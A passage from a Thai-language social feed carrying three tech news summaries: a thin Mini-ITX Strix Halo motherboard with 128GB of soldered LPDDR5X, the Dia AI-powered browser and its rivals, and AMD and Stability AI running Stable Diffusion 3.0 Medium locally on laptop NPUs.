    ใช้ฟอร์มแฟกเตอร์ thin Mini-ITX ขนาด 170×170 มม. แต่บางกว่าปกติ
    เหมาะสำหรับเคส AIO และ SFF ที่มีพื้นที่จำกัด

    รองรับการติดตั้ง SSD M.2 แบบ PCIe 4.0 ได้ 2 ตัว
    สำหรับ M.2 2280 และมีสล็อต M.2 เพิ่มสำหรับโมดูล Wi-Fi (2230)

    มีพอร์ต HDMI 2.1 ×2 และ VGA ที่สามารถปรับเป็น DisplayPort หรือ COM ได้
    รองรับการต่อจอหลายแบบตามความต้องการ

    มีพอร์ต USB 3.2 Gen 2 ×2 และ USB 2.0 ×2 พร้อม header เพิ่มขยาย
    รองรับการต่ออุปกรณ์เสริม

    ใช้ไฟผ่านพอร์ต DC IN ขนาด 19V สำหรับการจ่ายพลังงานตรง
    รองรับซีพียูที่มีค่า cTDP ตั้งแต่ 45–120W ได้สบาย

    https://www.tomshardware.com/pc-components/motherboards/amd-strix-halo-mini-itx-motherboard-flaunts-128gb-lpddr5x-add-a-cpu-cooler-boot-drive-and-power-supply-for-a-slim-gaming-or-ai-rig
    🎙️ เรื่องเล่าจากเมนบอร์ดไซส์เล็ก: เมื่อ “Strix Halo” มาอยู่ในร่างบางพร้อม RAM 128GB Sixunited เปิดตัวเมนบอร์ดรหัส STHT1 ที่ใช้ซีพียู Strix Halo (Ryzen AI Max) ซึ่งเป็นรุ่นเดสก์ท็อปที่ใช้สถาปัตยกรรม Zen 5 และกราฟิก RDNA 3.5 โดยซีพียูมีให้เลือกตั้งแต่ 8 ถึง 16 คอร์ ส่วนกราฟิก Radeon 8060S มีถึง 40 compute units — เทียบเท่ากับ GPU แบบแยกระดับกลาง เมนบอร์ดนี้ยังจัดเต็มแรม LPDDR5X ขนาด 128GB แบบ on-board (ฝังไว้) โดยใช้ชิป 16GB × 8 ตัว ล้อมรอบซีพียู ซึ่งแม้จะไม่สามารถอัปเกรดได้ แต่ก็เพียงพอสำหรับงาน AI inference, training เบื้องต้น หรือการสร้าง content ที่กิน RAM มาก จุดเด่นอีกอย่างคือขนาด “thin Mini-ITX” ขนาด 170×170 มม. แต่ความสูง (z-height) ต่ำมาก เหมาะกับเคสบาง หรือ AIO ที่ต้องการประหยัดพื้นที่ ✅ เมนบอร์ด STHT1 จาก Sixunited ใช้ AMD Ryzen AI Max 300-series “Strix Halo” ➡️ ซีพียู Zen 5 พร้อมกราฟิก RDNA 3.5 สูงสุด 16 คอร์ และ 40 CU ✅ แรม LPDDR5X ขนาด 128GB ติดตั้งแบบฝังบนบอร์ด ➡️ ใช้ชิป 16GB × 8 ตัว ล้อมรอบตัวซีพียู ✅ ใช้ฟอร์มแฟกเตอร์ thin Mini-ITX ขนาด 170×170 มม. แต่บางกว่าปกติ ➡️ เหมาะสำหรับเคส AIO และ SFF ที่มีพื้นที่จำกัด ✅ รองรับการติดตั้ง SSD M.2 แบบ PCIe 4.0 ได้ 2 ตัว ➡️ สำหรับ M.2 2280 และมีสล็อต M.2 เพิ่มสำหรับโมดูล Wi-Fi (2230) ✅ มีพอร์ต HDMI 2.1 ×2 และ VGA ที่สามารถปรับเป็น DisplayPort หรือ COM ได้ ➡️ รองรับการต่อจอหลายแบบตามความต้องการ ✅ มีพอร์ต USB 3.2 Gen 2 ×2 และ USB 2.0 ×2 พร้อม header เพิ่มขยาย ➡️ รองรับการต่ออุปกรณ์เสริม ✅ ใช้ไฟผ่านพอร์ต DC IN ขนาด 19V สำหรับการจ่ายพลังงานตรง ➡️ รองรับซีพียูที่มีค่า cTDP ตั้งแต่ 45–120W ได้สบาย https://www.tomshardware.com/pc-components/motherboards/amd-strix-halo-mini-itx-motherboard-flaunts-128gb-lpddr5x-add-a-cpu-cooler-boot-drive-and-power-supply-for-a-slim-gaming-or-ai-rig
    0 Comments 0 Shares 160 Views 0 Reviews
  • เรื่องเล่าจากเบราว์เซอร์ที่คิดแทนเรา: เมื่อหน้าจอเว็บมี AI ช่วยตลอดทาง

    Dia ไม่ใช่แค่เบราว์เซอร์ทั่วไปอย่าง Chrome หรือ Safari — แต่เป็นเบราว์เซอร์ที่มีช่องแชต AI อยู่เคียงข้างหน้าต่างเว็บแบบ in-app โดยกด shortcut (Command+E) เพื่อเรียกกล่องคำถามขึ้นมาข้างหน้าเว็บ

    ตัวอย่างจากผู้ใช้:
    - อ่านข่าวน้ำท่วมในเท็กซัส → พิมพ์ถาม AI เพื่อขอสรุปและแหล่งข้อมูลเพิ่ม
    - ดูวิดีโอรีวิวอุปกรณ์ Jump Starter → ให้ AI ดึง transcript มาสรุปข้อเด่นโดยไม่ต้องดูเอง
    - เขียนบน Google Docs → ถาม AI ว่าใช้คำว่า “on the cusp” ถูกไหม แล้วรับคำตอบทันที

    ที่สำคัญ Dia เลือก “โมเดล AI ที่เหมาะที่สุด” ให้แบบอัตโนมัติ เช่นถามเรื่องโค้ด → ใช้ Claude Sonnet / ถามเรื่องภาษา → ใช้ GPT จาก OpenAI โดยไม่ต้องเลือกเอง

    สัปดาห์เดียวกันนี้ Perplexity ก็เปิดตัวเบราว์เซอร์ AI ชื่อ Comet และมีรายงานว่า OpenAI เตรียมออกเบราว์เซอร์ AI เช่นกัน แปลว่า “ยุคเบราว์เซอร์ฉลาด” กำลังมาเร็วมาก

    Dia เป็นเบราว์เซอร์ใหม่ที่รวมแชตบอท AI เข้ากับหน้าเว็บโดยตรง
    กด Command+E เพื่อเปิดหน้าต่าง AI เคียงข้างหน้าเว็บ

    Dia ดึงคำตอบจากหลายโมเดล AI เช่น ChatGPT, Gemini, Claude โดยเลือกให้ผู้ใช้อัตโนมัติ
    เช่นใช้ Claude ถามเรื่องโค้ด, ใช้ GPT ถามเรื่องภาษา

    ตัวเบราว์เซอร์สามารถสรุปวิดีโอ, ข่าว, และช่วยพิสูจน์อักษรได้ทันทีจากหน้าเว็บ
    ไม่ต้องเปิดแอป AI แยกหรือก็อปปี้เนื้อหาไปใส่ทีละขั้น

    Dia ยังไม่เปิดตัวทั่วไป แต่ให้ทดลองฟรีบน Mac แบบเชิญเท่านั้น
    จะเปิดแพ็กเกจ subscription เริ่มต้น $5/เดือนในอีกไม่กี่สัปดาห์

    เบราว์เซอร์ AI จาก Perplexity (Comet) และ OpenAI ก็ถูกพูดถึงในช่วงเวลาเดียวกัน
    แสดงถึงการแข่งขันในตลาด AI-powered browser กำลังร้อนแรง

    Google และ Apple ก็เริ่มใส่ฟีเจอร์ AI เล็ก ๆ เช่นการสรุปบทความใน Chrome และ Safari
    แต่ยังไม่ถึงระดับการรวม chatbot แบบ Dia

    นักลงทุนคาดว่า AI browser จะเป็น “จุดเริ่มต้นใหม่” ของการใช้งาน generative AI ในชีวิตประจำวัน
    แทนที่การใช้แบบเดิมที่ต้องเปิดแอป AI แยก

    https://www.thestar.com.my/tech/tech-news/2025/07/23/is-ai-the-future-of-web-browsing
    🎙️ เรื่องเล่าจากเบราว์เซอร์ที่คิดแทนเรา: เมื่อหน้าจอเว็บมี AI ช่วยตลอดทาง Dia ไม่ใช่แค่เบราว์เซอร์ทั่วไปอย่าง Chrome หรือ Safari — แต่เป็นเบราว์เซอร์ที่มีช่องแชต AI อยู่เคียงข้างหน้าต่างเว็บแบบ in-app โดยกด shortcut (Command+E) เพื่อเรียกกล่องคำถามขึ้นมาข้างหน้าเว็บ ตัวอย่างจากผู้ใช้: - อ่านข่าวน้ำท่วมในเท็กซัส → พิมพ์ถาม AI เพื่อขอสรุปและแหล่งข้อมูลเพิ่ม - ดูวิดีโอรีวิวอุปกรณ์ Jump Starter → ให้ AI ดึง transcript มาสรุปข้อเด่นโดยไม่ต้องดูเอง - เขียนบน Google Docs → ถาม AI ว่าใช้คำว่า “on the cusp” ถูกไหม แล้วรับคำตอบทันที ที่สำคัญ Dia เลือก “โมเดล AI ที่เหมาะที่สุด” ให้แบบอัตโนมัติ เช่นถามเรื่องโค้ด → ใช้ Claude Sonnet / ถามเรื่องภาษา → ใช้ GPT จาก OpenAI โดยไม่ต้องเลือกเอง สัปดาห์เดียวกันนี้ Perplexity ก็เปิดตัวเบราว์เซอร์ AI ชื่อ Comet และมีรายงานว่า OpenAI เตรียมออกเบราว์เซอร์ AI เช่นกัน แปลว่า “ยุคเบราว์เซอร์ฉลาด” กำลังมาเร็วมาก ✅ Dia เป็นเบราว์เซอร์ใหม่ที่รวมแชตบอท AI เข้ากับหน้าเว็บโดยตรง ➡️ กด Command+E เพื่อเปิดหน้าต่าง AI เคียงข้างหน้าเว็บ ✅ Dia ดึงคำตอบจากหลายโมเดล AI เช่น ChatGPT, Gemini, Claude โดยเลือกให้ผู้ใช้อัตโนมัติ ➡️ เช่นใช้ Claude ถามเรื่องโค้ด, ใช้ GPT ถามเรื่องภาษา ✅ ตัวเบราว์เซอร์สามารถสรุปวิดีโอ, ข่าว, และช่วยพิสูจน์อักษรได้ทันทีจากหน้าเว็บ ➡️ ไม่ต้องเปิดแอป AI แยกหรือก็อปปี้เนื้อหาไปใส่ทีละขั้น ✅ Dia ยังไม่เปิดตัวทั่วไป แต่ให้ทดลองฟรีบน Mac แบบเชิญเท่านั้น ➡️ จะเปิดแพ็กเกจ subscription เริ่มต้น $5/เดือนในอีกไม่กี่สัปดาห์ ✅ เบราว์เซอร์ AI จาก Perplexity (Comet) และ OpenAI ก็ถูกพูดถึงในช่วงเวลาเดียวกัน ➡️ แสดงถึงการแข่งขันในตลาด AI-powered browser กำลังร้อนแรง ✅ Google และ Apple ก็เริ่มใส่ฟีเจอร์ AI เล็ก ๆ เช่นการสรุปบทความใน Chrome และ Safari ➡️ แต่ยังไม่ถึงระดับการรวม chatbot แบบ Dia ✅ นักลงทุนคาดว่า AI browser จะเป็น “จุดเริ่มต้นใหม่” ของการใช้งาน generative AI ในชีวิตประจำวัน ➡️ แทนที่การใช้แบบเดิมที่ต้องเปิดแอป AI แยก https://www.thestar.com.my/tech/tech-news/2025/07/23/is-ai-the-future-of-web-browsing
    WWW.THESTAR.COM.MY
    Is AI the future of web browsing?
    A test of the app Dia illustrates that the humble web browser may be the path to making artificial intelligence more natural to use.
    0 Comments 0 Shares 201 Views 0 Reviews
  • เรื่องเล่าจากโน้ตบุ๊กยุคใหม่: เมื่อ AI สร้างภาพได้เองโดยไม่ต้องต่อเน็ต

    ก่อนหน้านี้ การใช้ Stable Diffusion ต้องใช้ GPU ที่แรงมาก หรือเชื่อมต่อ cloud เพื่อประมวลผลภาพ แต่ตอนนี้ AMD และ Stability AI ได้พัฒนาโมเดลใหม่ชื่อ block FP16 SD 3.0 Medium ที่สามารถรันบน NPU ได้โดยตรง — โดยใช้หน่วยความจำเพียง 9 GB และทำงานได้บนโน้ตบุ๊กที่มี RAM 24 GB ขึ้นไป

    ระบบนี้ทำงานผ่านแอป Amuse 3.1 โดย Tensorstack ซึ่งมีโหมด HQ ที่ใช้ pipeline แบบสองขั้นตอน:

    1️⃣ สร้างภาพขนาด 1024×1024 พิกเซล
    2️⃣ Upscale เป็น 2048×2048 พิกเซล โดยใช้พลังของ XDNA 2 NPU

    ผู้ใช้สามารถเลือกได้ว่าจะใช้ GPU หรือ NPU ในการประมวลผล และสามารถเปิดใช้งานได้ง่าย ๆ ด้วยการติดตั้งไดรเวอร์ Adrenalin ล่าสุด แล้วเปิด Amuse 3.1 Beta และปรับโหมด EZ ให้เป็น HQ พร้อมเปิดการ offload ไปยัง XDNA 2

    AMD และ Stability AI เปิดตัวโมเดล block FP16 SD 3.0 Medium สำหรับการสร้างภาพ AI แบบ local
    ทำงานบน NPU ของ Ryzen AI XDNA 2 โดยไม่ต้องใช้ GPU หรือ cloud

    ใช้หน่วยความจำเพียง 9 GB และทำงานได้บนโน้ตบุ๊กที่มี RAM 24 GB ขึ้นไป
    ลดข้อจำกัดด้านฮาร์ดแวร์และเปิดโอกาสให้ผู้ใช้ทั่วไปเข้าถึง AI image generation

    ระบบใช้ pipeline สองขั้นตอนเพื่อ upscale ภาพจาก 2MP เป็น 4MP
    ให้ภาพที่มีความละเอียดสูงขึ้นโดยไม่ต้องใช้พลัง GPU

    แอป Amuse 3.1 รองรับการเลือกใช้ GPU หรือ NPU ได้ตามต้องการ
    ผู้ใช้สามารถเปิดโหมด HQ และเปิดการ offload ไปยัง XDNA 2 ได้ง่าย ๆ

    โมเดลนี้ใช้ precision แบบ FP16 แต่ให้ประสิทธิภาพเทียบเท่า INT8
    เป็นการพัฒนาเชิงเทคนิคที่ช่วยลดการใช้พลังงานและเพิ่มความเร็ว

    ก่อนหน้านี้ Amuse ต้องใช้ GPU เท่านั้น ทำให้การใช้งานจำกัด
    ตอนนี้สามารถใช้ NPU ได้ ทำให้โน้ตบุ๊กทั่วไปก็สามารถสร้างภาพ AI ได้

    โมเดล block FP16 SD 3.0 Medium ยังต้องการ RAM ขั้นต่ำ 24 GB
    โน้ตบุ๊กทั่วไปที่มี RAM 8–16 GB อาจไม่สามารถใช้งานได้เต็มประสิทธิภาพ

    การเปิดใช้งาน NPU ต้องใช้ไดรเวอร์ Adrenalin ล่าสุดและตั้งค่าผ่าน Amuse 3.1 Beta
    หากไม่ได้อัปเดตหรือตั้งค่าถูกต้อง อาจไม่สามารถใช้ฟีเจอร์นี้ได้

    แม้จะไม่ต้องใช้ GPU แต่การประมวลผลภาพยังใช้เวลาหลายนาทีต่อภาพ
    ผู้ใช้ควรคาดหวังว่า NPU ยังไม่เร็วเท่า GPU ระดับสูง

    การใช้โมเดล AI บนเครื่องอาจมีข้อจำกัดด้านความปลอดภัยและการควบคุมเนื้อหา
    ควรมีระบบตรวจสอบการใช้งานเพื่อป้องกันการสร้างภาพที่ไม่เหมาะสม

    https://www.techpowerup.com/339112/amd-and-stability-ai-enable-local-ai-image-generation-on-npu-powered-laptops
    🎙️ เรื่องเล่าจากโน้ตบุ๊กยุคใหม่: เมื่อ AI สร้างภาพได้เองโดยไม่ต้องต่อเน็ต ก่อนหน้านี้ การใช้ Stable Diffusion ต้องใช้ GPU ที่แรงมาก หรือเชื่อมต่อ cloud เพื่อประมวลผลภาพ แต่ตอนนี้ AMD และ Stability AI ได้พัฒนาโมเดลใหม่ชื่อ block FP16 SD 3.0 Medium ที่สามารถรันบน NPU ได้โดยตรง — โดยใช้หน่วยความจำเพียง 9 GB และทำงานได้บนโน้ตบุ๊กที่มี RAM 24 GB ขึ้นไป ระบบนี้ทำงานผ่านแอป Amuse 3.1 โดย Tensorstack ซึ่งมีโหมด HQ ที่ใช้ pipeline แบบสองขั้นตอน: 1️⃣ สร้างภาพขนาด 1024×1024 พิกเซล 2️⃣ Upscale เป็น 2048×2048 พิกเซล โดยใช้พลังของ XDNA 2 NPU ผู้ใช้สามารถเลือกได้ว่าจะใช้ GPU หรือ NPU ในการประมวลผล และสามารถเปิดใช้งานได้ง่าย ๆ ด้วยการติดตั้งไดรเวอร์ Adrenalin ล่าสุด แล้วเปิด Amuse 3.1 Beta และปรับโหมด EZ ให้เป็น HQ พร้อมเปิดการ offload ไปยัง XDNA 2 ✅ AMD และ Stability AI เปิดตัวโมเดล block FP16 SD 3.0 Medium สำหรับการสร้างภาพ AI แบบ local ➡️ ทำงานบน NPU ของ Ryzen AI XDNA 2 โดยไม่ต้องใช้ GPU หรือ cloud ✅ ใช้หน่วยความจำเพียง 9 GB และทำงานได้บนโน้ตบุ๊กที่มี RAM 24 GB ขึ้นไป ➡️ ลดข้อจำกัดด้านฮาร์ดแวร์และเปิดโอกาสให้ผู้ใช้ทั่วไปเข้าถึง AI image generation ✅ ระบบใช้ pipeline สองขั้นตอนเพื่อ upscale ภาพจาก 2MP เป็น 4MP ➡️ ให้ภาพที่มีความละเอียดสูงขึ้นโดยไม่ต้องใช้พลัง GPU ✅ แอป Amuse 3.1 รองรับการเลือกใช้ GPU หรือ NPU ได้ตามต้องการ ➡️ ผู้ใช้สามารถเปิดโหมด HQ และเปิดการ offload ไปยัง XDNA 2 ได้ง่าย ๆ ✅ โมเดลนี้ใช้ precision แบบ FP16 แต่ให้ประสิทธิภาพเทียบเท่า INT8 ➡️ เป็นการพัฒนาเชิงเทคนิคที่ช่วยลดการใช้พลังงานและเพิ่มความเร็ว ✅ ก่อนหน้านี้ Amuse ต้องใช้ GPU เท่านั้น ทำให้การใช้งานจำกัด ➡️ ตอนนี้สามารถใช้ NPU ได้ ทำให้โน้ตบุ๊กทั่วไปก็สามารถสร้างภาพ AI ได้ ‼️ โมเดล block FP16 SD 3.0 Medium ยังต้องการ RAM ขั้นต่ำ 24 GB ⛔ โน้ตบุ๊กทั่วไปที่มี RAM 8–16 GB อาจไม่สามารถใช้งานได้เต็มประสิทธิภาพ ‼️ การเปิดใช้งาน NPU ต้องใช้ไดรเวอร์ Adrenalin ล่าสุดและตั้งค่าผ่าน Amuse 3.1 Beta ⛔ หากไม่ได้อัปเดตหรือตั้งค่าถูกต้อง อาจไม่สามารถใช้ฟีเจอร์นี้ได้ ‼️ แม้จะไม่ต้องใช้ GPU แต่การประมวลผลภาพยังใช้เวลาหลายนาทีต่อภาพ ⛔ ผู้ใช้ควรคาดหวังว่า NPU ยังไม่เร็วเท่า GPU ระดับสูง ‼️ การใช้โมเดล AI บนเครื่องอาจมีข้อจำกัดด้านความปลอดภัยและการควบคุมเนื้อหา ⛔ ควรมีระบบตรวจสอบการใช้งานเพื่อป้องกันการสร้างภาพที่ไม่เหมาะสม https://www.techpowerup.com/339112/amd-and-stability-ai-enable-local-ai-image-generation-on-npu-powered-laptops
    WWW.TECHPOWERUP.COM
    AMD and Stability AI Enable Local AI Image Generation on NPU-Powered Laptops
    AMD and Stability AI made an announcement today about their joint effort to adapt Stable Diffusion 3.0 Medium for Stability Amuse AI art creator. This move allows for better picture generation and text handling abilities to run on Neural Processing Units (NPUs). Earlier, at Computex 2024, AMD showed...
    0 Comments 0 Shares 186 Views 0 Reviews
More Results